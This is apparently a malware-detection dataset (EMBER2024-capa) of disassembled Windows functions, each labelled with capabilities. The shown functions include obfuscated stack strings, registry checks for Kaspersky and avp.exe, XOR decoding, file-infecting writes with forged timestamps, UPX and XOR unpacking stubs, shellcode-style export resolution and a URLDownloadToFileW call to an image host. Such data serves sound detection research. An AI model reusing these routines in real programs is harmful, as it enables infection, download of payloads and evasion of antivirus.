joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4028fc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x40]
push eax
push 0
push 2
mov dword [ebp - 0x40], 0x33353936
mov dword [ebp - 0x20], 0x41444338
mov dword [ebp - 0x3c], 0x30364145
mov dword [ebp - 0x38], 0x3544382d
mov dword [ebp - 0x2c], 0x2d303137
mov dword [ebp - 0x34], 0x35342d46
mov dword [ebp - 0x28], 0x38463234
mov dword [ebp - 0x24], 0x45334445
mov dword [ebp - 0x30], 0x382d3932
call sub.KERNEL32.dll_OpenEventA
test eax, eax
je 0x402960
push eax
call sub.KERNEL32.dll_CloseHandle
mov al, 1
leave
ret
xor al, al
leave
ret

Function at 0x402964
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
lea eax, [ebp - 4]
push ebx
push eax
lea eax, [ebp - 0x210]
push eax
push 0x80000002
xor ebx, ebx
mov dword [ebp - 0x204], 0x73726570
mov dword [ebp - 0x210], 0x54464f53
mov dword [ebp - 0x1f4], 0x65646c6f
mov dword [ebp - 0x20c], 0x45524157
mov dword [ebp - 0x200], 0x614c796b
mov dword [ebp - 0x1f0], 0x7372
mov dword [ebp - 0xfc], 0x36
mov dword [ebp - 0x10c], 0x3653494b
mov dword [ebp - 0x100], 0x534b5756
mov dword [ebp - 0x208], 0x73614b5c
mov dword [ebp - 0xf8], 0x36534b57
mov dword [ebp - 0x1fc], 0x65535c62
mov dword [ebp - 0xec], 0x53494b56
mov dword [ebp - 0x1f8], 0x46707574
mov dword [ebp - 0xf4], 0x34504d
mov dword [ebp - 0xe8], 0x3131
call fcn.00403396
test eax, eax
mov dword [ebp - 0x104], 0x414b0036
mov dword [ebp - 0x108], 0x56414b00
mov dword [ebp - 0xf0], 0x414b0000
jne 0x402a8b
push esi
push edi
xor edi, edi
lea esi, [ebp - 0x10c]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x314]
push eax
push 0
push 0
push esi
push dword [ebp - 4]
call fcn.004033ad
test eax, eax
je 0x402a78
inc edi
add esi, 5
cmp edi, 7
jl 0x402a51
jmp 0x402a81
xor ebx, ebx
cmp edi, 2
sete bl
inc ebx
push dword [ebp - 4]
call sub.ADVAPI32.dll_RegCloseKey
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x402a90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
lea eax, [ebp - 0x210]
xor ebx, ebx
push eax
mov dword [ebp - 0x204], ebx
mov dword [ebp - 0xf4], 0x46302d36
mov dword [ebp - 0x10c], 0x54464f53
mov dword [ebp - 0xd8], 0x7d37
mov dword [ebp - 0x208], 0x6578652e
mov dword [ebp - 0x104], 0x726f4e5c
mov dword [ebp - 0xe0], 0x31393546
mov dword [ebp - 0xf8], 0x39304335
mov dword [ebp - 0xf0], 0x342d4431
mov dword [ebp - 0xdc], 0x45363231
mov dword [ebp - 0xe8], 0x32414141
mov dword [ebp - 0x100], 0x5c6e6f74
mov dword [ebp - 0xec], 0x2d383246
mov dword [ebp - 0x310], 0x49544355
mov dword [ebp - 0xe4], 0x4535382d
mov dword [ebp - 0x30c], 0x44
mov dword [ebp - 0x20c], 0x74736863
mov dword [ebp - 0xfc], 0x3543307b
mov dword [ebp - 0x108], 0x45524157
mov dword [ebp - 0x314], 0x444f5250
mov dword [ebp - 0x210], 0x76736363
call fcn.004026de
pop ecx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10c]
push eax
push 0x80000002
call fcn.00403396
test eax, eax
jne 0x402bc3
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x210]
push eax
push ebx
lea eax, [ebp - 0x314]
push ebx
push eax
push dword [ebp - 4]
call fcn.004033ad
test eax, eax
jne 0x402bbb
mov eax, fcn.004026de
test eax, eax
je 0x402bbb
mov bl, 1
push dword [ebp - 4]
call sub.ADVAPI32.dll_RegCloseKey
mov al, bl
pop ebx
leave
ret

Function at 0x402bc8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x10c]
mov esi, 0x56414b00
push eax
push 0x80000002
xor bl, bl
mov dword [ebp - 0xf8], 0x65535c62
mov dword [ebp - 0x210], 0x3953494b
mov dword [ebp - 0x108], 0x45524157
mov dword [ebp - 0x20c], esi
mov dword [ebp - 0x100], 0x73726570
mov dword [ebp - 0x208], 0x494b0039
mov dword [ebp - 0x104], 0x73614b5c
mov dword [ebp - 0x1fc], 0x3753494b
mov dword [ebp - 0x1f4], 0x37
mov dword [ebp - 0x10c], 0x54464f53
mov dword [ebp - 0xfc], 0x614c796b
mov dword [ebp - 0xf4], 0x46707574
mov dword [ebp - 0x200], 0x385641
mov dword [ebp - 0xf0], 0x65646c6f
mov dword [ebp - 0xec], 0x7372
call fcn.00403396
test eax, eax
mov dword [ebp - 0x1f8], esi
mov dword [ebp - 0x204], 0x4b003853
jne 0x402d00
push edi
mov dword [ebp - 8], 0x104
xor edi, edi
lea esi, [ebp - 0x210]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x314]
push eax
push 0
push 0
push esi
push dword [ebp - 4]
call fcn.004033ad
test eax, eax
je 0x402ccc
inc edi
add esi, 5
cmp edi, 6
jl 0x402ca5
jmp 0x402cce
mov bl, 1
push dword [ebp - 4]
call sub.ADVAPI32.dll_RegCloseKey
test bl, bl
pop edi
je 0x402d00
lea eax, [ebp - 0x314]
push str._avp.exe
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x314]
pop ecx
push 5
push eax
call fcn.004035ec
mov al, 1
jmp 0x402d02
xor al, al
pop esi
pop ebx
leave
ret
Function at 0x402d06
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], 0x6069645f
mov dword [ebp - 0xc], 0x7e585360
mov dword [ebp - 8], 0x625b756d
mov dword [ebp - 4], 0xc0c0c68
xor eax, eax
xor byte [ebp + eax - 0x10], 0xc
inc eax
cmp eax, 0x10
jl 0x402d2a
lea eax, [ebp - 0x10]
push 0
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x402d59
movzx ecx, byte [ebp + 8]
push 0
push ecx
push 0xb
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
mov al, 1
leave
ret
xor al, al
leave
ret

Function at 0x402dda
Capabilities:
Encode data using xor

Disassembly:
xor edx, edx
cmp dword [esp + 0xc], edx
jle 0x402dfd
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push ebx
mov bl, dl
inc bl
xor bl, byte [ecx]
mov byte [eax], bl
inc eax
inc ecx
inc edx
cmp edx, dword [esp + 0x10]
jl 0x402deb
pop ebx
ret 0xc

Function at 0x402e00
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x3c
push ebx
push ebp
push esi
mov esi, dword [esp + 0x4c]
push edi
mov edi, dword [sym.imp.MSVCRT.dll__lseek]
xor ebx, ebx
push 2
push ebx
push esi
call edi
mov ebp, dword [sym.imp.MSVCRT.dll__tell]
push esi
call ebp
add esp, 0x10
cmp eax, 0x2000
jle 0x402e3c
cmp eax, 0x100000
jge 0x402e3c
add eax, 0xffffe000
push ebx
push eax
jmp 0x402e3e
push ebx
push ebx
push esi
call edi
add esp, 0xc
push esi
call dword [sym.imp.MSVCRT.dll__eof]
test eax, eax
pop ecx
jne 0x402ee5
mov ebx, 0x406998
push esi
call ebp
and byte [esp + 0x54], 0
mov dword [esp + 0x14], eax
lea eax, [esp + 0x54]
push 1
push eax
push esi
call dword [sym.imp.MSVCRT.dll__read]
movsx eax, byte [0x406998]
movzx ecx, byte [esp + 0x60]
add esp, 0x10
cmp ecx, eax
jne 0x402ed5
push esi
call ebp
push 0
mov dword [esp + 0x1c], eax
push dword [esp + 0x18]
push esi
call edi
push 0x32
lea eax, [esp + 0x2c]
push 0
push eax
call sub.MSVCRT.dll_memset
push ebx
call sub.MSVCRT.dll_strlen
push eax
lea eax, [esp + 0x3c]
push eax
push esi
call dword [sym.imp.MSVCRT.dll__read]
lea eax, [esp + 0x44]
push ebx
push eax
call sub.MSVCRT.dll_strcmp
add esp, 0x34
test eax, eax
je 0x402ef1
push 0
push dword [esp + 0x18]
push esi
call edi
add esp, 0xc
push esi
call dword [sym.imp.MSVCRT.dll__eof]
test eax, eax
pop ecx
je 0x402e59
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x3c
ret 4
push 1
pop eax
jmp 0x402ee7
Function at 0x402ef6
Capabilities:
Set file attributes

Disassembly:
sub esp, 0x4a8
lea eax, [esp]
push ebx
push ebp
push esi
push edi
mov ebx, ecx
push 0x4a8
push eax
push ebx
call fcn.00402dda
mov ebp, dword [esp + 0x4bc]
push 0x80
push ebp
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edi, dword [sym.imp.MSVCRT.dll__open]
push 0x8002
push ebp
call edi
mov esi, eax
pop ecx
cmp esi, 0xffffffff
pop ecx
jne 0x402f51
push 0x8102
push ebp
call edi
mov esi, eax
pop ecx
cmp esi, 0xffffffff
pop ecx
jne 0x402f51
xor eax, eax
jmp 0x402f9b
push esi
mov ecx, ebx
call fcn.00402e00
mov edi, dword [sym.imp.MSVCRT.dll__write]
test eax, eax
jne 0x402f76
mov ebx, 0x406998
push ebx
call sub.MSVCRT.dll_strlen
push eax
push ebx
push esi
call edi
add esp, 0x10
lea eax, [esp + 0x10]
push 0x4a8
push eax
push esi
call edi
push esi
call dword [sym.imp.MSVCRT.dll__close]
push ebp
push 0x406990
call fcn.00403311
add esp, 0x18
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4a8
ret 4

Function at 0x402fa8
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a8
push ebx
push esi
mov esi, 0x4a8
push edi
mov edi, ecx
push esi
push 0
push edi
call sub.MSVCRT.dll_memset
push 0
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__open]
mov ebx, eax
add esp, 0x14
cmp ebx, 0xffffffff
jne 0x402fdd
xor eax, eax
jmp 0x40301c
push ebx
mov ecx, edi
call fcn.00402e00
test eax, eax
jne 0x402fed
xor esi, esi
jmp 0x403012
lea eax, [ebp - 0x4a8]
push esi
push eax
push ebx
call dword [sym.imp.MSVCRT.dll__read]
add esp, 0xc
lea eax, [ebp - 0x4a8]
mov ecx, edi
push esi
push edi
push eax
call fcn.00402dda
push 1
pop esi
push ebx
call dword [sym.imp.MSVCRT.dll__close]
pop ecx
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x403311
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
push 6
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0x80
push 3
push 0
push 1
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov eax, 0x3859e000
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
mov ecx, 0x1bf5b62
push eax
push esi
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x446000
Capabilities:
Accept command line arguments
Parse pe header
Resolve function by parsing pe exports
Terminate process

Disassembly:
call 0x446005
pop ebx
sub ebx, 0x401030
mov edi, dword [esp]
and edi, 0xffff0000
cmp word [edi], 0x5a4d
jne 0x44602a
mov esi, edi
add esi, dword [esi + 0x3c]
cmp word [esi], 0x4550
jne 0x44602a
jmp 0x44603a
sub edi, 0x10000
cmp edi, 0x70000000
jb 0x44603a
jmp 0x446015
mov dword [ebx + 0x4011d9], edi
mov esi, dword [esi + 0x78]
add esi, edi
push esi
mov ebp, dword [esi + 0x18]
mov esi, dword [esi + 0x20]
add esi, edi
xor edx, edx
push esi
mov edi, dword [esi]
add edi, dword [ebx + 0x4011d9]
lea esi, [ebx + 0x40119e]
mov ecx, 0xf
repe cmpsb byte [esi], byte es:[edi]
jne 0x44606e
pop esi
mov edx, esi
pop esi
jmp 0x44607f
pop esi
add esi, 4
inc edx
cmp edx, ebp
jb 0x446050
sub esp, 4
jmp 0x446199
sub edx, dword [esi + 0x20]
mov eax, dword [ebx + 0x4011d9]
sub edx, eax
shr edx, 1
add edx, dword [esi + 0x24]
add edx, eax
movzx eax, word [edx]
shl eax, 2
add eax, dword [esi + 0x1c]
add eax, dword [ebx + 0x4011d9]
mov eax, dword [eax]
add eax, dword [ebx + 0x4011d9]
mov edi, eax
mov ebp, esp
mov edx, dword [ebx + 0x4011d9]
lea eax, [ebx + 0x4011ad]
push eax
push edx
call edi
sub esp, 0x104
push esp
push 0x104
call eax
lea eax, [ebx + 0x4011ba]
push eax
mov edx, dword [ebx + 0x4011d9]
push edx
call edi
lea ecx, [ebx + 0x4011c3]
push ecx
mov ecx, esp
add ecx, 4
push ecx
call eax
lea eax, [ebx + 0x4011cd]
push eax
mov edx, dword [ebx + 0x4011d9]
push edx
call edi
mov ecx, esp
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ecx
call eax
mov esi, eax
lea ecx, [ebx + 0x401204]
push ecx
push ecx
mov edx, dword [ebx + 0x4011d9]
push edx
call edi
pop ecx
push 0
push ecx
add ecx, 0xa
mov edx, dword [ecx]
push edx
push ecx
mov edx, 0x905a4d
mov dword [ecx], edx
push esi
call eax
lea eax, [ebx + 0x4011ec]
push eax
mov edx, dword [ebx + 0x4011d9]
push edx
call edi
push esi
call eax
lea eax, [ebx + 0x4011dd]
push eax
mov edx, dword [ebx + 0x4011d9]
push edx
call edi
sub esp, 0x44
mov edx, esp
mov esi, 0
mov ecx, 0x11
mov dword [edx], esi
add edx, 4
loop 0x44616a
mov edx, 0x44
mov dword [esp], edx
sub esp, 0x10
mov edx, esp
push esp
add edx, 0x10
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
add edx, 0x44
push edx
call eax
mov esp, ebp
jmp 0x406e20

Function at 0x44660e
Capabilities:
Parse pe header

Disassembly:
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x446651
mov ecx, dword [eax + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x446651
mov ecx, dword [esp + 4]
add eax, 4
mov dword [ecx], eax
mov ecx, dword [esp + 8]
add eax, 0x14
mov dword [ecx], eax
mov ecx, 0x10b
cmp word [eax], cx
jne 0x446651
mov ecx, dword [esp + 0xc]
add eax, 0xe0
mov dword [ecx], eax
xor eax, eax
inc eax
jmp 0x446653
xor eax, eax
ret 0xc
Function at 0x401250
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42aa7d
mov eax, dword fs:[0]
push eax
sub esp, 0x80
mov eax, dword [0x43b064]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x5c], 0
lea eax, [ebp - 0x64]
push eax
push 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jl 0x401353
mov edx, dword [ebp - 0x64]
push edx
lea ecx, [ebp - 0x28]
call fcn.00407380
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x64]
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
lea ecx, [ebp - 0x5d]
call fcn.00406850
mov dword [ebp - 0x70], eax
lea ecx, [ebp - 0x88]
push ecx
lea ecx, [ebp - 0x28]
call fcn.0040e430
mov edx, dword [eax]
mov dword [ebp - 0x68], edx
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x74], eax
lea ecx, [ebp - 0x8c]
push ecx
lea ecx, [ebp - 0x28]
call fcn.0040d930
mov edx, dword [eax]
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x70]
push ecx
mov edx, dword [ebp - 0x74]
push edx
mov eax, dword [ebp - 0x78]
push eax
lea ecx, [ebp - 0x58]
call fcn.004033a0
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp - 0x7c]
mov dword [ebp - 0x80], ecx
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x80]
push edx
mov ecx, dword [ebp + 8]
call fcn.004067f0
mov eax, dword [ebp - 0x5c]
or eax, 1
mov dword [ebp - 0x5c], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x58]
call fcn.00408c90
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00408cb0
mov eax, dword [ebp + 8]
jmp 0x40138e
push 0x42c288
lea ecx, [ebp - 0x40]
call fcn.004070f0
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x40]
push ecx
mov ecx, dword [ebp + 8]
call fcn.004067f0
mov edx, dword [ebp - 0x5c]
or edx, 1
mov dword [ebp - 0x5c], edx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x40]
call fcn.00408c90
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00411f58
mov esp, ebp
pop ebp
ret 8

Function at 0x401ae0
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
push 0
push 0
push 0x42c578
push str.https:__i.ibb.co_LPx4Wxt_Untitled.png
push 0
call sub.urlmon.dll_URLDownloadToFileW
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jl 0x401b0d
mov byte [ebp - 1], 1
jmp 0x401b11
mov byte [ebp - 1], 0
mov al, byte [ebp - 1]
mov byte [ebp - 2], al
lea ecx, [ebp - 2]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00406860
mov eax, dword [ebp + 8]
mov esp, ebp
pop ebp
ret 4

Function at 0x412606
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x412645
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x412645
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x412645
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x412645
cmp dword [ecx + 0x74], 0xe
jbe 0x412645
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x41cf46
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42f7a8
push 0x42f7a0
push str.FlsAlloc
push 0x1e
call fcn.0041cdb3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41cf7a
push dword [ebp + 8]
mov ecx, esi
call dword [0x42c168]
call esi
jmp 0x41cf80
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x41cfc5
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42f7b8
push 0x42f7b0
push str.FlsGetValue
push 0x20
call fcn.0041cdb3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41cffc
push dword [ebp + 8]
mov ecx, esi
call dword [0x42c168]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x41e6a6
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041e517

Function at 0x41eaa0
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00412a70
mov eax, dword [0x43b064]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041d57a
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41eae2
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41ec3e
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0042a750
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x43d9d0]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.0041fa80
mov ecx, dword [esi*4 + 0x43d9d0]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x41ec37
cmp eax, dword [edi + ecx + 0x24]
jne 0x41ec37
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41ec37
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041fa80
add esp, 0x14
test edx, edx
jl 0x41ec37
jg 0x41ebad
test eax, eax
jb 0x41ec37
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41ec37
jl 0x41ebc7
cmp dword [ebp - 0x1008], eax
ja 0x41ec37
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41ebe5
test ebx, ebx
je 0x41ec1e
cmp ecx, edi
jae 0x41ec1e
mov al, byte [ecx]
cmp al, 0xd
jne 0x41ebff
lea eax, [edi - 1]
cmp ecx, eax
jae 0x41ec0b
cmp byte [ecx + 1], 0xa
jne 0x41ec0b
inc ecx
jmp 0x41ec0b
movzx eax, al
movsx eax, byte [eax + 0x43b2e8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41ebe5
cmp edx, ebx
jne 0x41ebe5
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x41ec3c
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00411f58
leave
ret
Function at 0x41ef38
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x43d9d0]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41ef78
cmp byte [ebx], 0xa
jne 0x41ef78
or byte [eax + edi + 0x28], 4
jmp 0x41ef7d
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x41f07b
mov al, byte [edx]
cmp al, 0x1a
je 0x41f05d
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x41efac
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x41efd1
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41efdb
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x41ef8e
jmp 0x41f07b
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41f058
cmp dword [ebp - 0xc], 0
je 0x41f058
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x43d9d0]
test byte [eax + edi + 0x28], 0x48
je 0x41f032
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41f01d
mov byte [esi], dl
jmp 0x41f02e
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x43d9d0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41f07b
cmp byte [ebp - 1], 0xa
jne 0x41f041
cmp esi, ebx
jne 0x41f041
mov byte [esi], 0xa
jmp 0x41f07a
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041fa9e
add esp, 0x10
